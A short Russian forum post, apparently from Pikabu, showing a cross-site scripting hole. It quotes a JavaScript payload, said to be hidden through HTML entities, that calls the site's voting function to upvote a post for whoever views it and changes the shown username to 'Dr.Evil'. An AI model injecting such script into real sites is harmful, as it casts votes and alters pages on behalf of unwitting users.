Вот Вам и "АХТУНГ! Xss" с горячего.⁠⁠

Некоторый текст закодированный в HTML-Entities.

if(my_dig){my_dig('+',1165997)};$('.name h4 a').text('Dr.Evil');my_dig='';//""

Или вот пример, ваш ник в правой колонке изменится
пример2